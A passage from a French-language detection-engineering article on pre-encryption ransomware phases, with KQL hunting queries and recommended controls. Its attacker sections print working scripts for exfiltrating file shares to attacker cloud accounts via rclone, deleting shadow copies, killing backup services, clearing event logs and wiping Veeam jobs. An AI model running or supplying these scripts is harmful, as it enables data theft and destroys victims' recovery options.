AccessMask = tostring(extract(@"Accesses:\s+([^\n]+)", 1, EventData)),
ObjectType = tostring(extract(@"Object Type:\s+([^\n]+)", 1, EventData)),
SubjectAccount = strcat(
extract(@"Account Domain:\s+([^\n]+)", 1, EventData), "\\",
extract(@"Account Name:\s+([^\n]+)", 1, EventData)
)
// DS-Replication-Get-Changes-All GUID = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
// DS-Replication-Get-Changes GUID = 1131f6ac-9c07-11d1-f79f-00c04fc2dcd2
| where AccessMask has "1131f6ad" or AccessMask has "1131f6aa"
// Filter out legitimate replication from actual domain controllers
// Get your DC computer accounts from a Watchlist or static list
| where SubjectAccount !in (toscalar(
_GetWatchlist('DomainControllerAccounts')
| summarize make_list(AccountName)
))
// Any non-DC account requesting replication rights = DCSync attack
| project TimeGenerated, Computer, SubjectAccount, AccessMask, ObjectType
| order by TimeGenerated desc
Comparaison des Techniques de Vol d'Identifiants
| Technique | Privilèges requis | Signal de détection | Difficulté de contournement EDR | Cassage hors ligne requis | Campagnes réelles |
|---|---|---|---|---|---|
| Dump LSASS via comsvcs.dll | SeDebugPrivilege (SYSTEM) | OpenProcessApiCall sur lsass.exe | Moyenne binaire signé, mais motif d'accès détecté | Non hachage NTLM utilisable directement (PTH) | LockBit 3.0, ALPHV, Black Basta, Akira |
| Dump LSASS via Mimikatz (direct) | SeDebugPrivilege | Hachage du binaire + PROCESS_VM_READ | Difficile l'EDR bloque le binaire Mimikatz | Non extrait texte clair ou hachage | Campagnes plus anciennes ; remplacé par comsvcs |
| Kerberoasting | Tout utilisateur de domaine | Event 4769 avec EncType 0x17 | Très faible protocole Kerberos standard | Oui le hachage TGS nécessite un cassage hors ligne | Universel tous les groupes majeurs |
| AS-REP Roasting | Tout utilisateur de domaine (comptes sans préauth) | Event 4768 avec EncType 0x17 | Très faible protocole standard | Oui le hachage AS-REP nécessite un cassage hors ligne | Conti, Hive, Royal cible comptes mal configurés |
| DCSync (Mimikatz) | Domain Admin ou ACL DS-Replication | Event 4662 avec GUID de réplication | Moyenne nécessite d'abord DA | Non produit tous les hachages NTLM directement | Post-élévation dans presque chaque campagne |
| Shadow Credentials (Whisker) | GenericWrite sur l'objet cible | Pas d'événement direct modif LDAP sur msDS-KeyCredentialLink | Moyenne | Non produit un TGT via PKINIT | ALPHV, émergent dans les campagnes 2024-2025 |
Domain Admin n'est pas l'état final, c'est le début des deux dernières phases. Avec les identifiants Domain Admin en main, la prochaine action de l'opérateur est de confirmer quelles données valent la peine d'être volées avant de lancer le compte à rebours du chiffrement. La phase d'exfiltration est là où la plupart des organisations perdent leur position de négociation, car une fois les données sur le serveur d'un acteur de la menace, payer la rançon ne les récupère pas.
Section 4 : Exfiltration et Préparation des Données La Phase de Double Extorsion qui se Produit Pendant que Votre DLP ne Voit Rien
La double extorsion la pratique consistant à chiffrer les fichiers ET à exfiltrer les données pour menacer d'une divulgation publique est devenue le modèle dominant à partir de Maze en 2019 et est maintenant universelle. La phase d'exfiltration commence généralement pendant que l'opérateur effectue encore un mouvement latéral, s'exécutant en parallèle depuis les serveurs de fichiers les plus riches en données. Les outils utilisés sont délibérément choisis pour abuser des services de stockage cloud de confiance et des utilitaires système légitimes : rclone.exe configuré pour écrire vers des comptes MEGA, Backblaze B2 ou pCloud contrôlés par l'attaquant ; WinSCP pour le transfert SFTP vers un VPS pare-balles ; et dans les campagnes plus sophistiquées, des scripts personnalisés basés sur curl qui POSTent directement vers l'infrastructure de l'attaquant sur le port 443.
L'outil rclone mérite une attention particulière. C'est un binaire open-source légitimement signé (ou trivialement recompilé avec un nom personnalisé) qui prend en charge plus de 40 backends de stockage cloud. Les opérateurs le configurent avec un compte MEGA ou B2 contrôlé par l'attaquant à l'aide d'un fichier rclone.conf, généralement stocké dans un emplacement non standard et supprimé après la fin du transfert. Le binaire lui-même est en liste blanche par la plupart des produits AV parce que la version légitime est utilisée par des milliers d'équipes IT pour des opérations de sauvegarde, ce qui est exactement la raison pour laquelle les opérateurs de rançongiciels l'utilisent. Le volume de transfert lors d'une exfiltration de rançongiciel typique varie de 50 Go à plusieurs téraoctets, sur plusieurs heures, et les seuls signaux de détection fiables sont : un volume d'envoi anormal par endpoint vers des IP externes, le processus rclone avec des arguments copy ou sync, et de gros lectures SMB depuis les serveurs de fichiers par un seul compte dans une fenêtre temporelle compressée.
La séquence de préparation mérite aussi d'être comprise précisément. Les opérateurs ne diffusent pas les fichiers directement du partage vers le cloud. Ils identifient d'abord les répertoires cibles (financier, RH, PI, données clients), les compressent avec 7-Zip en archives protégées par mot de passe (le mot de passe empêche l'inspection du contenu par les fournisseurs cloud et les intermédiaires), placent les archives sur un serveur compromis disposant d'une bonne bande passante, puis exécutent rclone depuis ce serveur de préparation. Cela signifie que le trafic d'exfiltration provient d'un ou deux serveurs internes spécifiques plutôt que du poste de travail initial de l'opérateur, ce qui complique encore la détection réseau.
Séquence d'Exfiltration
Perspective de l'Attaquant : Configuration d'Exfiltration rclone
# rclone.conf placed in non-standard location (C:\Windows\Temp\ or C:\ProgramData\)
# Attacker-controlled MEGA.nz account (free tier: 20GB, paid: unlimited)
# File is deleted after exfil completes only exists during the operation
[remote]
type = mega
user = attacker_account@proton.me # Attacker's encrypted email
pass = ENCRYPTED_PASSWORD_HERE # rclone-encrypted password (rclone obscure <password>)
# Alternative: Backblaze B2 (faster upload, harder to take down than MEGA)
[b2remote]
type = b2
account = ATTACKER_B2_ACCOUNT_ID # Backblaze account ID
key = ATTACKER_APPLICATION_KEY # Backblaze application key
# ---- Complete exfiltration script (PowerShell wrapper observed in Black Basta campaigns) ----
# This orchestrates staging, compression, and upload for an entire victim environment
$TargetShares = @(
"\\FILESERVER01\Finance",
"\\FILESERVER01\HR",
"\\FILESERVER02\Legal",
"\\FILESERVER02\CustomerData",
"\\DC01\SYSVOL" # SYSVOL contains GPO passwords, scripts high value
)
$StageDir = "C:\Windows\Temp\st"
$ToolDir = "C:\Windows\Temp"
$ArchivePass = "Xk9#mP2$vL5@nQ8" # Password for 7z archive changes per victim
$RcloneConf = "$ToolDir\rc.conf"
# Create staging directory
New-Item -ItemType Directory -Path $StageDir -Force | Out-Null
foreach ($Share in $TargetShares) {
# Derive a clean name for the archive
$ArchiveName = ($Share -replace '[\\:/]', '_').Trim('_') + ".7z"
$ArchivePath = "$ToolDir\$ArchiveName"
Write-Host "[*] Staging: $Share"
# Stage files via robocopy /MT:32 uses 32 threads, /Z restartable mode
# /XO excludes older files (skip unchanged since last check for re-runs)
robocopy $Share "$StageDir\current" /E /MT:32 /Z /R:1 /W:1 /NFL /NDL /NJH /NJS
Write-Host "[*] Compressing: $ArchiveName"
# 7-Zip compression: -mx=1 (fastest, least compression speed > size for exfil)
# -mhe=on encrypts header (hides file names from forensic inspection of archive)
& "$ToolDir\\7za.exe" a -p"$ArchivePass" -mhe=on -mx=1 `
$ArchivePath "$StageDir\current\*" | Out-Null
Write-Host "[*] Uploading: $ArchiveName"
# rclone copy with bandwidth limit to avoid saturating the uplink
# --bwlimit 50M limits to 50MB/s large org with 1Gbps uplink won't notice
# --config specifies non-default config location (avoids default user profile path)
# --log-file writes to a temp file (attacker monitors progress)
& "$ToolDir\rclone.exe" copy $ArchivePath "remote:loot/$(hostname)/" `
--config $RcloneConf `
--bwlimit "50M" `
--transfers 4 `
--log-file "$ToolDir\rc.log" `
--log-level ERROR # Minimal logging to reduce forensic artifacts
# Clean up uncompressed staging after successful upload
Remove-Item "$StageDir\current" -Recurse -Force
}
# Final cleanup remove all exfil tooling
Remove-Item $RcloneConf -Force # Config contains attacker's cloud credentials
Remove-Item "$ToolDir\rc.log" -Force
# Note: 7za.exe and rclone.exe are often left behind operators accept this trade-off
Perspective du Défenseur : Détecter l'Exfiltration
// KQL Detect rclone process execution (primary exfil tool in ransomware campaigns)
// Source: Defender for Endpoint DeviceProcessEvents
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where FileName =~ "rclone.exe"
// rclone renamed detect by command pattern even if binary name changed
or (ProcessCommandLine has_any ("copy", "sync", "move") and
ProcessCommandLine has_any ("mega:", "b2:", "s3:", "dropbox:", "onedrive:", "gdrive:"))
// Also catch rclone config creation (operator configuring before first use)
or ProcessCommandLine has "rclone" and ProcessCommandLine has "config"
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName, FolderPath
| order by TimeGenerated desc
// KQL Detect large-volume SMB reads from a single account (pre-exfil staging)
// Source: Windows Security Event Log Event ID 5145 (Detailed file share access)
// NOTE: 5145 generates extreme volume enable only on file servers, with filtering
// Alternative using Defender for Endpoint network events:
DeviceNetworkEvents
| where TimeGenerated > ago(1d)
// Large outbound transfers to external IPs (non-RFC1918)
| where RemoteIPType != "Private"
and RemotePort in (443, 8080, 2083, 21, 22) // HTTPS, alt-HTTP, SFTP, FTP
// Aggregate total bytes sent per endpoint per hour
| summarize
TotalBytesSent = sum(SentBytes),
TotalBytesReceived = sum(ReceivedBytes),
UniqueDestinations = dcount(RemoteIP),
TopDestination = arg_max(SentBytes, RemoteIP)
by DeviceName, AccountName, bin(TimeGenerated, 1h)
// Flag hour windows with > 1GB outbound to external IPs
// Adjust threshold based on your environment's normal baseline
| where TotalBytesSent > 1073741824 // 1 GB in bytes
| extend GBSent = round(TotalBytesSent / 1073741824.0, 2)
| project TimeGenerated, DeviceName, AccountName, GBSent,
UniqueDestinations, tostring(TopDestination)
| order by GBSent desc
// KQL Detect 7-Zip creating password-protected archives (staging for exfil)
// The -p flag and -mhe=on are signatures of attacker-controlled compression
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where FileName in~ ("7z.exe", "7za.exe", "7zr.exe")
// Flag archive creation with password (-p flag)
| where ProcessCommandLine contains " -p"
and ProcessCommandLine contains " a " // "a" = add to archive
// Also flag header encryption (-mhe=on) which hides filenames from inspectors
| where ProcessCommandLine contains "-mhe=on"
or ProcessCommandLine contains "-mhe"
// Flag operations on temp/unusual paths
| where ProcessCommandLine has_any (
"C:\\Windows\\Temp\\",
"C:\\ProgramData\\",
"\\AppData\\Local\\Temp",
"C:\\Temp\\"
)
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, FolderPath
| order by TimeGenerated desc
Comparaison des Outils d'Exfiltration Opérateurs de Rançongiciels 2023-2025
| Outil | Backend cloud | Difficulté de détection | Limitation de bande passante | Binaire signé ? | Groupes observés |
|---|---|---|---|---|---|
| rclone.exe | MEGA, B2, pCloud, S3, 40+ autres | Moyenne nom de processus détectable, renommable | Oui (--bwlimit) | Binaire open-source légitime (signé) | LockBit 3.0, ALPHV, Black Basta, Akira, Royal |
| WinSCP / PSCP | SFTP vers VPS attaquant (port 22/443) | Faible outil admin courant, en liste blanche | Non | Oui (WinSCP est légitimement signé) | Conti, REvil, anciens affiliés LockBit |
| MEGAsync | MEGA.nz (client de bureau dédié) | Moyenne nom du binaire et domaine MEGA | Non | Oui (client MEGA légitime) | Certains affiliés Phobos, successeurs Dharma |
| Scripts curl personnalisés | Tout endpoint HTTPS (port 443) | Élevée seule l'anomalie de volume détectable | Via --limit-rate | Oui (curl est signé) | Affiliés ALPHV personnalisés, acteurs sophistiqués |
| FileZilla (FTP) | Serveur FTP attaquant | Faible outil admin courant | Non | Oui | Campagnes plus anciennes, moins courant 2024+ |
| certutil -encode + HTTP POST | Direct vers le C2 de l'attaquant | Moyenne certutil signalé par EDR | Non | Oui (binaire Windows signé) | Moins courant petits jeux de données uniquement |
Une fois l'exfiltration terminée, l'opérateur dispose de deux formes de levier : vos données sur son serveur et vos systèmes en attente de chiffrement. Avant de déclencher le chiffreur, il exécute la phase finale : détruire votre capacité de récupération sans payer. C'est là que la fenêtre pour une récupération réussie sans payer de rançon se ferme définitivement.
Section 5 : Destruction des Sauvegardes et Anti-Forensique Les 30 Minutes Avant le Chiffrement qui Déterminent si Vous Récupérez
La fenêtre de 30 minutes immédiatement avant le début du chiffrement par rançongiciel est la phase la plus déterminante de toute l'opération, et c'est presque universellement la phase pour laquelle les environnements les moins surveillés n'ont aucune détection. Pendant cette fenêtre, les opérateurs exécutent une séquence structurée de destruction des sauvegardes conçue pour répondre à une question : avons-nous éliminé tous les chemins de récupération qui n'impliquent pas de nous payer ? La réponse doit être oui avant que le chiffrement ne commence, car un opérateur qui déploie un rançongiciel sans détruire les sauvegardes vient de donner à la victime une sortie gratuite.
La séquence de destruction des sauvegardes cible quatre catégories d'actifs de récupération dans un ordre précis. D'abord, les clichés instantanés de volume (VSS) sur chaque système Windows accessible le mécanisme d'instantané intégré de Windows qui permet la récupération de fichiers à un instant T. Ensuite, les catalogues de sauvegarde Windows et les sauvegardes d'état du système (wbadmin delete catalog). Troisièmement, les processus d'agent de sauvegarde sur les serveurs exécutant Veeam, Veritas Backup Exec, Acronis ou Commvault tuer le service de l'agent l'empêche de terminer une sauvegarde pendant la phase de chiffrement et peut permettre la suppression des jobs de sauvegarde si l'agent s'exécute avec des identifiants élevés. Quatrièmement, les dépôts de sauvegarde accessibles par le réseau sauvegardes basées sur NAS, bibliothèques de bandes avec accès SMB/NFS, et serveurs de préparation de sauvegarde cloud joints au domaine et accessibles avec des identifiants DA. Les quatre catégories sont ciblées avant le chiffrement car, une fois celui-ci lancé, l'attaquant perd l'environnement opérationnel calme qui rend possible une destruction systématique.
Les commandes de suppression VSS sont documentées textuellement dans les manuels de rançongiciels divulgués et observées dans chaque incident majeur. Elles utilisent trois binaires Windows différents (vssadmin, wmic, wbadmin) par redondance ; si l'un est bloqué par stratégie de groupe, les autres sont essayés. Les commandes désactivent aussi le service de cliché instantané de volume (vss) et le service de sauvegarde Windows (wbengine) pour empêcher la recréation automatique pendant la phase de chiffrement.
Séquence de Destruction des Sauvegardes
Perspective de l'Attaquant : Les Commandes de Destruction des Sauvegardes
@echo off
:: =========================================================
:: Ransomware Pre-Encryption Cleanup Script
:: Observed in LockBit 3.0, ALPHV/BlackCat, and Black Basta
:: Runs as SYSTEM via PsExec, Cobalt Strike, or GPO script
:: =========================================================
:: ---- Phase 1: Disable and destroy Volume Shadow Copies ----
:: Stop the VSS service first (prevents new shadows during cleanup)
net stop vss /y > NUL 2>&1
net stop swprv /y > NUL 2>&1 :: Software Shadow Copy Provider
:: Method 1: vssadmin (standard works on all Windows versions)
vssadmin.exe delete shadows /all /quiet
:: Method 2: wmic shadowcopy (catches any shadows missed by vssadmin)
wmic.exe shadowcopy delete
:: Method 3: PowerShell (third redundant method)
powershell.exe -NonInteractive -Command "Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }"
:: Disable Volume Shadow Copy service (prevents recreation during encryption phase)
sc.exe config vss start= disabled
sc.exe config swprv start= disabled
:: ---- Phase 2: Destroy Windows Backup catalog and recovery ----
:: Delete Windows Backup catalog (prevents System State restore)
wbadmin.exe delete catalog -quiet
:: Delete all system backups (if Windows Server Backup was configured)
wbadmin.exe delete systemstatebackup -deleteOldest
:: Disable Windows Recovery Environment (prevents boot-to-recovery)
bcdedit.exe /set {default} recoveryenabled No
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
:: Remove recovery partition entries (more aggressive observed in Royal ransomware)
:: reagentc /disable :: Disables Windows RE entirely
:: ---- Phase 3: Kill backup agent processes ----
:: Comprehensive list run all, errors silently ignored
:: Veeam Backup & Replication
net stop "Veeam Backup Service" /y > NUL 2>&1
net stop "VeeamDeploymentService" /y > NUL 2>&1
net stop "VeeamTransportSvc" /y > NUL 2>&1
net stop "VeeamMountSvc" /y > NUL 2>&1
net stop "VeeamNFSSvc" /y > NUL 2>&1
net stop "VeeamRESTSvc" /y > NUL 2>&1
:: Veritas Backup Exec
net stop "BackupExecAgentAccelerator" /y > NUL 2>&1
net stop "BackupExecAgentBrowser" /y > NUL 2>&1
net stop "BackupExecDiveciMediaService" /y > NUL 2>&1
net stop "BackupExecJobEngine" /y > NUL 2>&1
net stop "BackupExecRPCService" /y > NUL 2>&1
:: Acronis
net stop "AcronisAgent" /y > NUL 2>&1
net stop "AcronisVSS" /y > NUL 2>&1
:: Commvault
net stop "GxFWD" /y > NUL 2>&1
net stop "GxCVD" /y > NUL 2>&1
net stop "GXMMM" /y > NUL 2>&1
:: Windows built-in backup
net stop "wbengine" /y > NUL 2>&1
net stop "SDRSVC" /y > NUL 2>&1 :: Windows Backup (shadow copy requestor)
:: Kill any remaining backup-related processes by name (taskkill ignores errors)
for %%P in (
veeam veeamagent vbrService BackupExecAgentAccelerator
beserver benetns beremote bengine bedbg pdvfservice
Pammux agntsvc agntsvcm beremote EnterpriseClient smc
AcronisAgent AcronisVSS GxFWD GxCVD GxMMM
CBVSCService CBVSC wbengine
) do (
taskkill /f /im %%P.exe > NUL 2>&1
)
:: ---- Phase 4: Anti-forensic log clearing ----
:: Clears Windows event logs to hinder IR (observed in ALPHV, LockBit 3.0)
:: Clear all standard Windows event logs
for /F "tokens=*" %%G in ('wevtutil el') do (
wevtutil cl "%%G" > NUL 2>&1
)
:: Alternative using PowerShell (same effect):
:: powershell.exe -Command "Get-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }"
:: Specifically clear Security, System, Application (most critical for IR)
wevtutil.exe cl Security
wevtutil.exe cl System
wevtutil.exe cl Application
wevtutil.exe cl "Windows PowerShell"
wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"
echo [+] Pre-encryption cleanup complete. Deploying encryptor.
# PowerShell variant Veeam backup job deletion via Veeam PowerShell module
# This requires the Veeam Backup & Replication console to be installed on the server
# OR the Veeam PowerShell snap-in to be accessible
# Observed when operators have DA access to the Veeam server
# Add Veeam PowerShell snap-in (available on Veeam B&R servers)
Add-PSSnapin -Name VeeamPSSnapIn -ErrorAction SilentlyContinue
# Connect to the Veeam backup server
Connect-VBRServer -Server "VEEAM01" -User "CONTOSO\Administrator" -Password "Domain_Admin_Password"
# Get all backup jobs and delete them
$jobs = Get-VBRJob
foreach ($job in $jobs) {
Write-Host "Deleting backup job: $($job.Name)"
# Remove the job (this also schedules deletion of the backup files on the repository)
Remove-VBRJob -Job $job -Confirm:$false
}
# Get all backup repositories and delete their contents
$repos = Get-VBRBackupRepository
foreach ($repo in $repos) {
Write-Host "Repository path: $($repo.Path) on $($repo.Host.Name)"
# If the repository path is accessible via DA: delete the backup files directly
$repoPath = "\\$($repo.Host.Name)\$($repo.Path -replace ':', '$')"
Remove-Item -Path $repoPath -Recurse -Force -ErrorAction SilentlyContinue
}
Disconnect-VBRServer
Perspective du Défenseur : Détecter la Destruction des Sauvegardes
// KQL Detect VSS deletion commands (highest-confidence ransomware pre-cursor signal)
// Source: Defender for Endpoint DeviceProcessEvents
// This should trigger an immediate P0 alert there is no legitimate reason to run
// vssadmin delete or wmic shadowcopy delete on a production server outside a DR test
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where (
// vssadmin delete shadows (all variants)
(FileName =~ "vssadmin.exe" and ProcessCommandLine has_all ("delete", "shadow"))
// wmic shadowcopy delete
or (FileName =~ "wmic.exe" and ProcessCommandLine has_all ("shadowcopy", "delete"))
// PowerShell WMI method
or (FileName =~ "powershell.exe" and ProcessCommandLine has_all ("Win32_ShadowCopy", "Delete"))
// wbadmin catalog deletion
or (FileName =~ "wbadmin.exe" and ProcessCommandLine has_all ("delete", "catalog"))
// bcdedit recovery disable
or (FileName =~ "bcdedit.exe" and ProcessCommandLine has_any ("recoveryenabled No", "bootstatuspolicy"))
)
| extend Severity = case(
FileName =~ "vssadmin.exe", "CRITICAL",
FileName =~ "wmic.exe" and ProcessCommandLine has "shadowcopy", "CRITICAL",
FileName =~ "wbadmin.exe", "HIGH",
FileName =~ "bcdedit.exe", "HIGH",
"MEDIUM"
)
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName, Severity
| order by TimeGenerated desc
// KQL Detect backup service process termination (pre-encryption service kill)
// Source: Windows System Event Log, Event ID 7036 (Service Control Manager)
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 7036 // A service entered the stopped state
| extend ServiceName = tostring(extract(@"The (.+) service entered the stopped state", 1, RenderedDescription))
// Match known backup-related service names
| where ServiceName has_any (
"Veeam", "BackupExec", "Acronis", "Commvault", "GxFWD", "GxCVD",
"wbengine", "SDRSVC", "VSS", "swprv", "VeeamTransport",
"VeeamMount", "VeeamNFS", "VeeamDeployment", "AcronisVSS",
"beremote", "benetns", "bengine"
)
// Multiple backup services stopping within a short window = automated kill script
| summarize
StoppedServices = make_set(ServiceName, 20),
ServiceCount = count(),
FirstStop = min(TimeGenerated),
LastStop = max(TimeGenerated)
by Computer, bin(TimeGenerated, 10m)
// Alert if 2+ backup services stop within 10 minutes on same host
| where ServiceCount >= 2
| project FirstStop, LastStop, Computer, ServiceCount, StoppedServices
| order by ServiceCount desc
// KQL Detect Windows event log clearing (anti-forensics, post-exfil)
// Source: Windows Security Event Log, Event ID 1102 (Audit log cleared)
// and System Event Log, Event ID 104 (Event log cleared)
union
(
SecurityEvent
| where EventID == 1102
| extend LogCleared = "Security"
| extend Actor = tostring(extract(@"Subject:.*?Account Name:\s+([^\n]+)", 1, EventData))
),
(
Event
| where EventID == 104
| extend LogCleared = "System/Application/Other"
| extend Actor = tostring(extract(@"User:([^\n]+)", 1, EventData))
)
| where TimeGenerated > ago(1d)
| summarize
LogsClearedCount = count(),
LogsCleared = make_set(LogCleared, 10),
Actors = make_set(Actor, 5)
by Computer, bin(TimeGenerated, 5m)
// Alert if multiple logs cleared in same 5-minute window
| where LogsClearedCount >= 2
| project TimeGenerated, Computer, LogsClearedCount, LogsCleared, Actors
| order by LogsClearedCount desc
Comparaison des Techniques de Destruction des Sauvegardes
| Technique | Commande / Méthode | Impact sur la récupération | Signal de détection | Atténuée par |
|---|---|---|---|---|
| Suppression VSS via vssadmin | vssadmin delete shadows /all /quiet | Élimine toute récupération locale à un instant T | Event 4688 / DeviceProcessEvents avec « vssadmin delete » | Sauvegardes isolées (air-gap) ; suppression VSS bloquée via règle WDAC |
| Suppression VSS via WMIC | wmic shadowcopy delete | Identique méthode redondante | DeviceProcessEvents, processus WMIC avec « shadowcopy delete » | Bloquer WMIC via GPO (Windows Management Instrumentation) |
| Suppression du catalogue wbadmin | wbadmin delete catalog -quiet | Catalogue Windows Server Backup inutilisable | DeviceProcessEvents avec « wbadmin delete catalog » | Média de sauvegarde isolé ; catalogue stocké hors hôte |
| Arrêt service Veeam + suppr. de jobs | net stop "Veeam Backup Service" + suppr. de job PowerShell | Sauvegardes en cours échouent ; jobs supprimés définitivement | Event 7036 (service arrêté) ; journal d'audit Veeam | MFA sur la console Veeam ; Veeam Hardened Repository (immuable) |
| Effacement des journaux d'événements | wevtutil cl Security / boucle for /F | Détruit la chronologie forensique gêne l'IR | Event ID 1102 (journal Security effacé), 104 (journal System) | Transfert des journaux vers le SIEM avant effacement (journaux hors hôte) |
| Désactivation récupération BCDEdit | bcdedit /set {default} recoveryenabled No | Pas de boot-to-recovery pour restauration bare-metal | DeviceProcessEvents avec « bcdedit » et « recoveryenabled » | Instantanés OS immuables ; chemin de récupération hors bande |
L'effacement des journaux d'événements dans la phase anti-forensique finale est la raison pour laquelle le transfert immuable des journaux vers votre SIEM est non négociable non pas pour des raisons de conformité, mais parce que c'est le seul moyen de reconstituer ce qui s'est passé après que l'opérateur a effacé les preuves. Chaque requête d'événement de cet article exige que vos journaux aient atteint votre SIEM avant l'exécution de la boucle wevtutil. Si ce n'est pas le cas, votre chronologie d'incident commence au moment où le chiffreur s'est lancé, et tout ce qui précède la reconnaissance, le vol d'identifiants, l'exfiltration, la destruction des sauvegardes est forensiquement invisible.
Action du RSSI Quoi Mettre en Place, Ce Que Cela Coûte, et Ce Que Vous Perdez si Vous ne le Faites Pas
La chaîne d'attaque pré-chiffrement comporte exactement cinq phases, et chaque phase a un contrôle de détection ferme et un contrôle de prévention ferme. Les contrôles de détection exigent une télémétrie de journaux que vous n'avez peut-être pas aujourd'hui en particulier la journalisation des requêtes LDAP sur les DC, l'alerte sur la suppression VSS et la surveillance des processus rclone. Les contrôles de prévention exigent des décisions architecturales plus difficiles à inverser sauvegardes immuables, Veeam Hardened Repository, segmentation réseau de l'infrastructure de sauvegarde. Le tableau ci-dessous est ordonné par la phase qu'il brise et par le rapport impact/effort d'implémentation.
Architecture de Détection de la Chaîne d'Attaque
Tableau de Contrôles Priorisés
| Contrôle | Impact | Effort | Pointeur d'implémentation |
|---|---|---|---|
| Sauvegardes immuables et isolées (air-gap) au moins une copie hors ligne ou en stockage cloud immuable | Critique | Moyen | Veeam Hardened Repository : Set-VBRBackupRepository -ImmutabilityEnabled $true -ImmutabilityPeriod 30. AWS S3 Object Lock : aws s3api put-object-lock-configuration --bucket backups --object-lock-configuration '{"ObjectLockEnabled":"Enabled","Rule":{"DefaultRetention":{"Mode":"COMPLIANCE","Days":30}}}'. C'est le seul contrôle qui détermine si vous récupérez sans payer. |
| Transfert des journaux vers le SIEM avant la rétention locale | Critique | Faible-Moyen | Activez Windows Event Forwarding (WEF) vers un serveur WEC, puis transférez vers le SIEM. Journaux critiques : Security (4624/4625/4662/4768/4769/4776), System (7036), PowerShell/Operational (4104). Rétention minimale : 90 jours. Si wevtutil efface les journaux locaux, le SIEM les a déjà. |
| Alerter sur la suppression VSS et l'arrêt des services de sauvegarde | Critique | Faible | Déployez le KQL DeviceProcessEvents de la Section 5. Sévérité : CRITICAL. Action : isolation automatique de l'hôte via Defender for Endpoint (Isolate-MachineAction). C'est la dernière opportunité de détection avant le début du chiffrement elle doit répondre automatiquement, pas attendre une revue d'analyste. |
Bloquer vssadmin delete et wmic shadowcopy delete via WDAC / AppLocker | Élevé | Moyen | Politique WDAC : New-CIPolicy -Level Publisher -Fallback Hash -ScanPath C:\\Windows\\System32\\vssadmin.exe avec une règle de refus pour delete shadows. Testez d'abord en mode audit. Bloquez aussi via GPO : Windows Settings → Security Settings → Software Restriction Policies refusez les arguments de vssadmin.exe correspondant à delete. |
| Activer la journalisation diagnostique LDAP sur tous les DC | Élevé | Faible | reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Diagnostics" /v "15 Field Engineering" /t REG_DWORD /d 5 /f exécuter sur tous les DC. Déployez le KQL de la Section 2 pour l'Event 1644. C'est le seul moyen de détecter SharpHound exécuté en mémoire via execute-assembly. |
| Imposer le chiffrement Kerberos AES uniquement (désactiver RC4) | Élevé | Moyen | GPO : Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → Network security: Configure encryption types allowed for Kerberos décochez DES et RC4. Testez d'abord l'impact sur les applications anciennes. Élimine la forme la moins coûteuse de Kerberoasting les tickets TGS chiffrés en RC4. |
| Déployer Credential Guard sur tous les endpoints joints au domaine | Élevé | Moyen-Élevé | GPO : Computer Configuration → Administrative Templates → System → Device Guard → Turn on Virtualization Based Security activez avec Credential Guard. Nécessite UEFI Secure Boot et un CPU compatible. Empêche entièrement l'accès à la mémoire LSASS via le mode utilisateur isolé comsvcs.dll ne peut pas lire la mémoire LSASS quand Credential Guard est actif. |
| Exiger la MFA pour la console Veeam et la gestion des jobs de sauvegarde | Élevé | Faible-Moyen | Veeam v12+ prend en charge la MFA pour la connexion à la console. Activez : Veeam Backup & Replication Console → Main Menu → Users and Roles → Enable MFA. Aussi : créez un compte d'admin de sauvegarde dédié, non utilisé ailleurs, et assurez-vous qu'il n'est pas dans Domain Admins (niveau de privilège séparé pour les admins de sauvegarde). |
| Alerter sur l'exécution de rclone et 7za avec des arguments cloud | Moyen-Élevé | Faible | Déployez les requêtes KQL de la Section 4. Ajoutez aussi rclone.conf comme chemin surveillé dans votre outil de surveillance d'intégrité de fichiers. Configurez la règle de réduction de surface d'attaque de Defender for Endpoint : Block process creations originating from PSExec and WMI commands cela interrompt de nombreuses méthodes de livraison de rclone. |
| Segmentation réseau : serveurs de sauvegarde et DC inaccessibles depuis les endpoints utilisateurs | Moyen-Élevé | Élevé | Les serveurs de sauvegarde ne devraient accepter les connexions que de leurs agents gérés et du compte d'admin de sauvegarde pas d'identifiants DA via SMB. Implémentez : règles de pare-feu sur le pare-feu hôte du serveur de sauvegarde bloquant SMB (445) depuis les sources non-agents. Validez avec Test-NetConnection -ComputerName VEEAM01 -Port 445 depuis un endpoint utilisateur cela doit échouer. |
Si votre SIEM n'a aucune alerte pour vssadmin delete shadows, vous êtes à un compte d'utilisateur de domaine compromis d'un événement de chiffrement complet du domaine sans reconstruction forensique possible et sans chemin de récupération autre que la négociation avec l'opérateur. Aucun des contrôles de détection de cet article n'exige un nouveau fournisseur ou un nouveau produit ils exigent d'activer des sources de journaux auxquelles vous avez déjà accès (diagnostics LDAP des DC, événements de processus DfE, transfert des événements Windows Security) et d'écrire six règles KQL contre elles. Les contrôles de prévention sauvegardes immuables et Credential Guard exigent des décisions architecturales qui prennent des semaines à implémenter correctement. Commencez l'architecture de sauvegarde immuable dès aujourd'hui et exécutez chaque requête de détection de cet article sur les 30 derniers jours de votre télémétrie existante avant toute autre chose. Les résultats vous diront si vous êtes déjà en phase de latence.
Tags : ransomware, pre-encryption, threat-hunting, detection-engineering, active-directory, credential-theft, backup-destruction, incident-response, soc-operations, cobalt-strike
Public : Analystes SOC · Ingénieurs de détection · Intervenants en réponse à incident · RSSI
MITRE ATT&CK : T1486 (Data Encrypted for Impact), T1490 (Inhibit System Recovery), T1059 (Command and Scripting Interpreter), T1003.001 (LSASS Memory), T1558.003 (Kerberoasting), T1530 (Data from Cloud Storage Object), T1070.001 (Clear Windows Event Logs), T1078 (Valid Accounts), T1133 (External Remote Services)